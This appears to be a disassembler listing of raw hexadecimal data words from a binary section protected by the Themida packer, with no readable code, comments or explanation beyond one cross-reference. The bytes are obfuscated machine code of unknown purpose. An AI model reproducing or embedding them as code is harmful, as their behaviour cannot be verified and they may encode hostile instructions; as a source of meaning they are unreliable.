		dd 85890000h, 5E917C1h,	0D5D78166h, 0D8B60FBDh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B6C35646h, 0E85F2067h
		dd 11h,	0E8080B9Ah, 7DAE8E35h, 5FAB9520h, 0D2B7C6C3h, 0EE8EEh
		dd 53FF0000h, 3A64E25Bh, 8EAD088h, 6884A3D1h, 0BA5E5FF5h
		dd 6, 880FFC60h, 11h, 0BE8h, 3A9D8400h,	0B26D96B7h, 39AB7FE8h
		dd 0C38B6158h, 8B04E8C1h, 0E90F09B5h, 0E2F76605h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D0C35141h, 75F652A5h
		dd 96EDDBB5h, 6AD82BFBh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0B0B2C355h,	0F958DBB8h
		dd 880FD82Bh, 134h, 86AC1EBFh, 7B96Bh, 0B5890000h, 5E90641h
		dd 6A00C183h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 722CC357h, 12E8h, 0B1A86C00h
		dd 0BE761B4Eh, 8DB4ADFh, 8909DC58h, 8B68BA8Eh, 0E90191B5h
		dd 0D93B5F05h, 0DE860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 18C582C3h, 35E14C58h
		dd 6648095Dh, 8C66F78Bh, 0B70F60D9h, 298D09F3h,	6105E929h
		dd 0F04C1F6h, 9784h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0ECDA1E3Dh, 0BED95FFh
		dd 0BE6605E9h, 6A5B12A7h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 5248C350h, 0D59589DBh
		dd 2B05E924h, 0A98589C3h, 3D05E907h, 834h, 36860Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0B48019C3h, 0E02F3081h, 36B8341h, 0E92709B5h, 0EE905h
		dd 0B58B0000h, 5E905A9h, 9589C08Bh, 5E90BC1h, 0D88BC38Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 33C35545h
		dd 1E8942Dh, 24398501h,	85C705E9h, 5E91EA1h, 700837B9h
		dd 8BFA8B66h, 3DBD81C0h, 0D005E924h, 0F000007h,	2885h
		dd 85FFFC00h, 5E9243Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0B3C35141h, 8B471274h, 3DB5FFF4h, 0E805E924h
		dd 0Bh,	168C9E39h, 0A2095756h, 89E68593h, 0E9061185h, 95FF5E05h
		dd 5E91E95h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0D6C35545h, 0D628CD61h,	90E8B570h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0ABC35747h, 0CFCC3466h
		dd 0E2BC208Eh, 53F8BF0Fh, 0EE9h, 59349900h, 0AC1D99B0h
		dd 6FB4F653h, 5FE89E3Dh, 23A1BD8Bh, 840F05E9h, 6, 2D3DB589h
		dd 858905E9h, 5E92EDDh,	32E5B58Bh, 0F28B05E9h, 1649BD8Bh
		dd 816005E9h, 0CB9C28C0h, 9D8D091Fh, 0E805E910h, 10h, 883A64E2h
		dd 0D108EAD0h, 1E6884A3h, 4DE5F59Fh, 0B96998B8h, 58616059h
		dd 0B8E0F61h, 0BF000000h, 593E08DEh, 5B1B58Bh, 0F6005E9h
		dd 8160C8B7h, 18F8DE2h,	0D59D8B69h, 8105E927h, 1D017AD2h
		dd 0D980612Bh, 6A6150h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 3CBBCAC3h, 64A5AA9Ch, 0F6816677h
		dd 0BD8B20CFh, 5E90A9Dh, 23599501h, 2BBF05E9h, 8901101Bh
		dd 0E916D1BDh, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0C6816642h, 67BF5A2Ch
		dd 0E909CC11h, 0FFFFF882h, 0C18BF38Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0FDC35646h,	0F15EBDA5h, 4EB8Dh
		dd 66000000h, 0B201DE81h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 60C35040h, 8E80F33Ch,	0EE9D3h, 90D70000h
		dd 76413D18h, 0B4598054h, 257C9A8h, 0E5858DF9h,	0E905E921h
		dd 6, 0F3C37A50h, 0DE9A7D9h, 8E000000h,	23A5833Bh, 1A6CA74Ah
		dd 7244D3Ch, 0FB8B6690h, 6A9050h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 322EAAC3h, 472AEFDh,	0F819BEAFh, 6A3732h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1AC35141h, 37D3DCBAh
		dd 0B58BCAE8h, 5E90EE1h, 858D006Ah, 5ED1D99h, 11E960h
		dd 0E4390000h, 40B92185h, 0FDC1532Dh, 0B12F07Bh, 8B1A6700h
		dd 0E917C585h, 0C0836105h, 0CDBD8B05h, 9005E910h, 8B525057h
		dd 66310FFBh, 5A05EBBFh, 50505F58h, 8A60A7BEh, 6A905F1Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 44C8C350h, 0C26DE6E4h, 42BE9C02h,	661D6B85h
		dd 7AA7CE81h, 0B529006Ah, 5E91111h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0B69C08C3h
		dd 28D4D420h, 6880F17h,	8B000000h, 0E916DDB5h, 0A195FF05h
		dd 6A05E90Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0CD1CC357h, 989A23B5h,	137A179h
		dd 0E92F11BDh, 0BF9D8D05h, 6A05ECADh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0E475C353h
		dd 0DE8B8131h, 9F0E1205h, 3098501h, 816605E9h, 0F48BACEh
		dd 687h, 759D8900h, 0FF05E905h,	53006AD3h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0D80CB209h
		dd 582DC681h, 85FF6E2Fh, 5E90689h, 5B1B58Bh, 28E905E9h
		dd 0E8000008h, 0
		dd 0A3ED815Dh, 3305ED1Dh, 0E90D69B5h, 3DBD8105h, 0D005E924h
		dd 0F000007h, 0FE86h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 39E4FD80h, 6DB58B7Ch
		dd 8B05E91Eh, 0E907919Dh, 0F6816605h, 0E381E4BAh, 100h
		dd 0C124BE66h, 850FDB0Bh, 96h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 5FC35545h, 50476110h, 0F18B6652h
		dd 3D95895Eh, 8B05E92Bh, 8EBD83F2h
dword_580000	dd 5ED1Bh, 0C840Fh, 85890000h, 5E905D1h, 61E9h,	85C7F800h
					; DATA XREF: Themida_:005414C8o
		dd 5ED1B8Eh, 1,	3890F60h, 80000000h, 0C08157D4h, 3D9537C7h
		dd 51958961h, 0E905E916h, 3Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 29C35141h, 9F74DE98h, 2CA1AC8Bh
		dd 2AF59589h, 85C705E9h, 5ED1B8Eh, 0
		dd 28DBD31h, 9D8D05E9h,	5E90791h, 26358589h, 238105E9h
		dd 0FFFFFEFFh, 66F8B70Fh, 8501DB8Ch, 5E91949h, 0F04C3F6h
		dd 6984h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0CE8D6692h, 8B659A4Eh, 5E8D2h, 71B90000h
		dd 662CAB24h, 0FF5EF08Bh, 0E90BED95h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0E83DA94Ah, 7FC2BE90h, 66506A7Eh, 9038C6BFh,	0AC98D89h
		dd 82E905E9h, 8B000004h, 0E92D15BDh, 6A00B005h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 45BBC351h, 1F3FABB5h, 0C2218C9Fh, 0E6F78B66h, 0F1B70F70h
		dd 8D8971E4h, 5E9233Dh,	0FD8B60Fh, 6BAF3B7h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0F198C352h, 29DA1DA7h, 9B5011Ch, 2305E908h
		dd 0E9283DBDh, 6AC38B05h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0E8D3C352h,	0Dh, 4E08C30h
		dd 0A17BAC25h, 5E748FA1h, 11BD8B6Ah, 5E05E91Fh,	2549BD8Bh
		dd 0E8C105E9h, 56006A04h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0A0759392h, 8E9C1AFh
		dd 7E000000h, 4537861Bh, 66BC8AC9h, 6AE2F7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 9D0117C3h
		dd 5E901F1h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 2C9A4FC3h, 7D7B68B7h, 0DA8B6093h
		dd 14E8h, 0CB86D700h, 2C9C3E22h, 93DA7FD1h, 0BFFF05FDh
		dd 0E17FFE51h, 596160E6h, 8F0F5061h, 3,	93F08B66h, 0BCD8D89h
		dd 0B5FF05E9h, 5E9243Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 0ABC35040h, 0FF39639Bh, 0E91E9595h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 1916396Eh, 0ED4C0499h, 251BD8Bh, 0B005E9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 3C35747h, 6E364D1h
		dd 0A422A919h, 3157CE81h, 12E94194h, 69000000h,	7F057DC5h
		dd 304B7BEEh, 0DC748509h, 0B156B805h, 6A70E62Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0F006C350h, 7207F37h, 60C35280h, 6AD3ACB8h, 71E46128h
		dd 0AD46BE66h, 3CFA8B66h, 4E830F61h, 8B000002h,	0E93109BDh
		dd 0D8B60F05h, 259DB509h, 0B53105E9h, 5E92D3Dh,	6BAh, 25B58900h
		dd 8B05E903h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 34C1F835h, 0FBD1B081h, 45B58BDAh
		dd 0C105E927h, 0E96004E8h, 10h,	0A905AFE4h, 0ABA39E46h
		dd 332E2DFDh, 3B745AAFh, 2BFD858Bh, 666105E9h, 0D781E2F7h
		dd 6C6B842Ch, 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 79EDA4C3h, 9B23846Ch, 0C25BD0Bh
		dd 6A5805E9h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 626FC355h, 1BFD2161h, 17A79B1Fh
		dd 880FD82Bh, 181h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 75C35646h, 0A033B972h, 4235C4FDh, 7B9ACh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 59310CC3h, 0D0B4410Bh, 0C183F966h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 3D07F3D1h, 0A9A7CDA6h, 85336050h, 5E92C05h, 0D93B61F8h
		dd 0FB860Fh, 8C660000h,	50006AD9h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0F6F5B745h, 840F04C1h
		dd 0A9h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0D5C35747h, 7F1994DCh, 95FF3852h, 5E90BEDh, 51006A5Bh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 1EA6AC3Ah, 11E9604Dh, 83000000h, 81DBC9D4h, 903FE0Dh
		dd 0D2A678E6h, 378EDC67h, 3DC32B61h, 834h, 3B860Fh, 85310000h
		dd 5E9070Dh, 58E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0B5011DEFh, 5E90B29h
		dd 7E8h, 7E1A0600h, 0B623F13Ch,	6AC08B5Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0A18BC357h
		dd 33EF1AD1h, 0E9090DB5h, 8BC38B05h, 57006AD8h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 39180C72h
		dd 0AA6988h, 0EE98Ch, 67060000h, 0A26EEF0h, 0C0446454h
		dd 621A92D0h, 1E1985C7h, 0B77305E9h, 6A1FEFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 4653BCC3h
		dd 0B9B82E10h, 59BD8B99h, 8B05E92Bh, 0F4C781C0h, 605BAEB7h
		dd 2E6D8589h, 0BB6605E9h, 81611DABh, 0E9243DBDh, 7D005h
		dd 23850F00h, 0E9000000h, 13h, 1786FB1Dh, 4A8BFD11h, 2118A43Fh
		dd 0DA220FD6h, 0FF53D1D8h, 0E9243D85h, 8B665105h, 0B5FF5FFAh
		dd 5E9243Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	8AC35747h, 0ADB529A6h, 0FF05E924h, 0E91E9595h
		dd 0F6B70F05h, 51006A90h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0B7102540h, 32B5BD29h
		dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 891D64C3h, 0E2E4E5Ah, 57006A23h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8BE8D016h
		dd 0E907BDB5h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 14102CCDh, 0FA269E53h
		dd 0CE81FA8h, 5000000h,	94BBA261h, 0AC68C6Eh, 66383AF4h
		dd 15FF28Bh, 0E9276D95h, 0BE666005h, 870F3AE5h,	0Ch, 2D05BD89h
		dd 858905E9h, 5E91679h,	91952961h, 6605E917h, 6AF38Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 912FC7C3h, 8BF88B66h, 0E9007DB5h, 0F7816605h, 8166CDCEh
		dd 0E9CA6DDEh, 10h, 4BC1196Eh, 1CE195B6h, 1FA9CC2Eh, 18E1F959h
		dd 0FFF7DEE9h, 759509FFh, 6005E918h, 5DAFE6BEh,	0FFFEB94Dh
		dd 0D681FFFFh, 2F73D66Ch, 1E58D21h, 6A05E9h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 7EA89C3h
		dd 0E43F8A8Ah, 0E328BE73h, 8D210907h, 5E91079h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 72C35646h, 4D0A2F4h
		dd 0A996795h, 13E8h, 88687E00h,	0BB9BA3CEh, 665A310Fh
		dd 1170B245h, 998D13E0h, 5AF08B66h, 5800F56h, 0B8000000h
		dd 77A50B5Ch, 0E58D8B5Fh, 6A05E901h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0FEF5C355h
		dd 603E133Bh, 8160CB8Ah, 6F8C98D6h, 83616173h, 850F01E1h
		dd 1Eh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 62C35040h, 8D8B885Eh,	5E91079h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 46C35343h, 0E168DD23h
		dd 258D8501h, 0E18305E9h, 43850F01h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0EAE8C357h, 385A2BF0h, 11E9h, 15933200h, 33C0DD0Bh
		dd 2AD40E99h, 8719CC7Eh, 840FF5A1h, 6, 578EE281h, 6061476Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 9EC35141h
		dd 0E361D49Bh, 858B1D6Dh, 5E932A9h, 0FFFFFEB9h,	0E38166FFh
		dd 8D216F8Bh, 5E926BDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0E5C35646h, 4EB018ADh, 0AE853A4h, 86000000h
		dd 0F09BAE9h, 96BE6F1Fh, 658D8956h, 5805E906h, 0F4BE665Fh
		dd 918D211Dh, 6A05E907h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 630FC357h, 0BF0F380Dh
		dd 0BD8D8BF2h, 8905E926h, 0E92AA98Dh, 94E68105h, 8318089Ch
		dd 850F01E1h, 2Eh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 28C35141h, 80D739E1h,	9D8BB082h, 5E90BA1h
		dd 59D0E381h, 8D8B41F1h, 5E90791h, 0AE9h, 0E735800h, 0D90B318Eh
		dd 838F9C8Fh, 850F01E1h, 23h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 49C35747h, 65E858B4h, 61DFBF0Fh
		dd 0F1F08060h, 2A11B589h, 0FEB905E9h, 6AFFFFFFh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 129BC355h, 418D2174h, 8105E90Eh, 632EFCE2h, 898D2148h
		dd 6A05E900h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 1376C357h, 8D8BF9CBh, 5E90E41h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 2DC35747h
		dd 6C9E99E3h, 0F01E183h, 385h, 0D38B6600h, 898D8Bh, 6A05E9h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0CA7127C3h, 0E183C3EBh, 25850F01h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0BEFBC352h, 2830Fh, 0C38B0000h, 6A6061h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0CCE004C3h
		dd 0C53ADBh, 0E990B951h, 8, 0B958DBBAh,	92025079h, 0FFFFFEB9h
		dd 21C28AFFh, 0E91EA18Dh, 99BD8905h, 2105E92Fh,	0E91E198Dh
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 7CEEE6D7h, 958921A8h, 5E91D61h, 8BF7BF0Fh
		dd 0E91EA18Dh, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 8E52ADA7h, 3363B50Dh
		dd 227BB866h, 81F3B70Fh, 3CBF13DFh, 1E18352h, 25850Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 314ABDC3h, 0F3F8570Fh, 8B23AEFCh,	0E91E198Dh
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 1E1837Fh, 1D850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 618874C3h
		dd 55006A60h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 447A338Bh, 2B13990Eh, 0E910659Dh, 3D85C705h
		dd 0D005E924h, 6A000007h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 7877C351h, 0E81D00A1h
		dd 0Fh,	4668FC15h, 8C7017AFh, 94BF1CA0h, 29B5A9B2h, 0E90E05B5h
		dd 6A615E05h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0BA88C352h, 0A683E6A2h, 8595093Bh
		dd 8B05E905h, 0E9313D85h, 6107EB05h, 0E99Dh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 5D73BDC3h, 7F9F4827h, 0B4606498h, 0B58B604Ch, 5E91D75h
		dd 2A798589h, 616105E9h, 90D8D29h, 6A05E9h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 340AFC3h
		dd 89F61DABh, 0E932158Dh, 0E9C18B05h, 75h, 0D88C6660h
		dd 840F04A8h, 35h, 0B5FF016Ah, 5E92345h, 7A6F858Dh, 0D0FF05ECh
		dd 0E358589h, 0FE8B05E9h, 680CEFC1h, 20040000h,	26A006Ah
		dd 0D6857h, 95FF0001h, 5E90E35h, 32E9h,	0E585C600h, 5605E90Eh
		dd 0C530DF68h, 0FDB5FFA9h, 8D05E91Eh, 0EC7A6F85h, 89D0FF05h
		dd 0E9314585h, 0D858D05h, 5005E91Eh, 56A206Ah, 4595FF56h
		dd 6105E931h, 6E0C1C3h,	0AE8h, 0D2296800h, 0AC2D3B60h
		dd 0F88A3DC3h, 0D9816658h, 0C0816358h, 6846h, 0B966F860h
		dd 33618370h, 183C8BDBh, 0EE9h,	388CE800h, 73AC3D85h, 5DBA25A2h
		dd 814C30E8h, 0E6F9FDF7h, 0FE84Ah, 1A070000h, 79FA0C5h
		dd 0F945A729h, 0B601E485h, 5938B1B3h, 0F3E3F781h, 8B666E2Bh
		dd 0A9EF81F7h, 6643E0ABh, 9B6AC281h, 9E957h, 553D0000h
		dd 0DAB13CBEh, 8FAC4C15h, 8D0F1804h, 0Bh, 5890Fh, 81660000h
		dd 66ACB6E2h, 4270CE81h, 18D6EB81h, 0BF0F6233h,	0D2C381D2h
		dd 0BE623318h, 23E4ED04h, 9894FB81h, 850FFFFFh,	20h, 0F1BE6660h
		dd 0D08B6652h, 21E961h,	4D7E0000h, 0C208153Eh, 80BA764Fh
		dd 4DCD444Fh, 0BD91B50Bh, 0FF4BE9F5h, 5C3FFFFh,	4EBBAC65h
		dd 6034B9BDh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	0EAC35040h, 0E9E6A3EBh,	0Fh, 2F0D38C4h,	2F8B40E7h
		dd 30071095h, 8B11CF75h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0AEE44C6Dh, 6840F7Bh
		dd 31000000h, 0E916518Dh, 4DBD8305h, 5E916h, 0BD830975h
		dd 5E91121h, 50197400h,	0B8C08B53h, 438h, 23B98589h, 9D8D05E9h
		dd 5EBB8C4h, 585BD3FFh,	1121BD83h, 740005E9h, 0B8535017h
		dd 438h, 23B98589h, 9D8D05E9h, 5EBB5B3h, 585BD3FFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 72C35141h, 3DE4BE3Fh
		dd 8D8B55A0h, 5E90575h,	0DF8B5760h, 51B58B58h, 6105E924h
		dd 0BD89C08Bh, 5E905DDh, 86EE8h, 8B666000h, 858961F1h
		dd 5E9326Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	19C35040h, 0ACB4BD2Bh, 4A8ED918h, 83AE8h, 89F28B00h
		dd 0E9182D85h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 8D3374D2h, 8D8964B9h
		dd 5E91DFDh, 806E8h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 1B464C47h, 0C9940CCEh
		dd 13E9B99Bh, 4C000000h, 0BA17698Fh, 2C1F16B7h,	0AC22A18Ah
		dd 5287B46Eh, 85898D90h, 5E931D5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 49C35343h, 982B1E5Ch, 0A9DB589h
		dd 10B105E9h, 796E8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h
		dd 0C3554500h, 4CFD58CFh, 7D858994h, 6A05E925h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 3255C357h, 183D1932h, 0CACCC160h, 0EE9h, 0DB4D9D00h
		dd 873A0D05h, 0C0D31788h, 0E836C789h, 733h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0FFC35747h, 0F1FBA6C3h
		dd 0B0AF920h, 0E9034DB5h, 55858905h, 6A05E92Fh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0BDCDC353h, 0E84CEEF6h, 6DFh, 171D8501h, 0B53305E9h
		dd 5E91081h, 28398589h,	8A0F05E9h, 6, 8D0Fh, 0BCE80000h
		dd 6A000006h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0CEB6C352h, 0B834B2C1h, 0B1CCEC4Fh
		dd 9985896Fh, 6005E903h, 32D580BEh, 84E8610Bh, 0E8000006h
		dd 0Ah,	0CFBC3BA1h, 0C14A6DFEh,	810FB116h, 0Ah,	5E9h, 8D163500h
		dd 895F83FEh, 0E910E985h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0FA68F091h
		dd 0D58D8B9Ah, 8905E92Dh, 0E921DD8Dh, 62DE805h,	6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 481C3BC3h, 82257AFAh, 0FCB26FA3h, 1DC9B52Bh,	858905E9h
		dd 5E903F5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	77C35040h, 11740817h, 51BD893Ch, 0E805E90Eh, 5CFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0D9C35747h
		dd 0CFB70F0Fh, 558589h,	0B70F05E9h, 5A1E8FBh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 7CCBE8C3h, 23558589h, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 5CE83EC3h, 6A000005h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 21FFC355h, 2E0C2833h, 0D710B966h,	15DD8589h
		dd 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 762F56C3h, 0CE9A55Ah, 1E000000h, 154EE36Ch
		dd 0D839C818h, 0E8D6AB66h, 4FBh, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 15h, 15C35646h, 0F2B70F25h, 30ED8589h
		dd 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 9B6AC3h, 0AE8h, 4B4F6D00h, 0A6DBE94h, 8BBFAC29h
		dd 0E92AC98Dh, 9CE85F05h, 0BE000004h, 4028B60h,	0DEDB58Bh
		dd 858905E9h, 5E91EE9h,	486E8h,	0A5B52900h, 8905E932h
		dd 0E904BD85h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 64F0DDFBh, 0F5F2BC10h
		dd 452E8h, 5858900h, 0E905E92Ch, 0Dh, 8D923594h, 91851442h
		dd 0F8E9E4EDh, 1D858985h, 2905E932h, 0E930C9BDh, 8900B005h
		dd 0E9268995h, 0D8B60F05h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 23C35040h, 0E1B55B0Ch, 0C22FE23Ch, 12E83Ch
		dd 5E2D0000h, 2E2EAEA1h, 0C085DDAEh, 95EA474Bh,	0A6F5162Dh
		dd 0FE8B5EF8h, 6BAh, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0D4F58C13h, 0BE662E2Bh
		dd 0C38BD586h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0FEC35747h, 6709C2CAh, 0C233F35Dh, 14E8h, 0DC2B7200h
		dd 4E4D8E92h, 0AB618C5Fh, 52D72Bh, 0D786BBA4h, 810F5347h
		dd 0
		dd 0E8C15959h, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 616B3E2Bh, 0E9DF8948h
		dd 7, 34179374h, 66A0900Fh, 6AE2F7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0A6DC7FC3h
		dd 2BA1198Eh, 459D89D8h, 9305E910h, 93CE8B50h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 88C35343h, 0FF2F1A91h
		dd 0E90BED95h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 81C05747h, 442570E9h
		dd 81666063h, 66E424C6h, 7221F281h, 0F1BD0361h,	5B05E908h
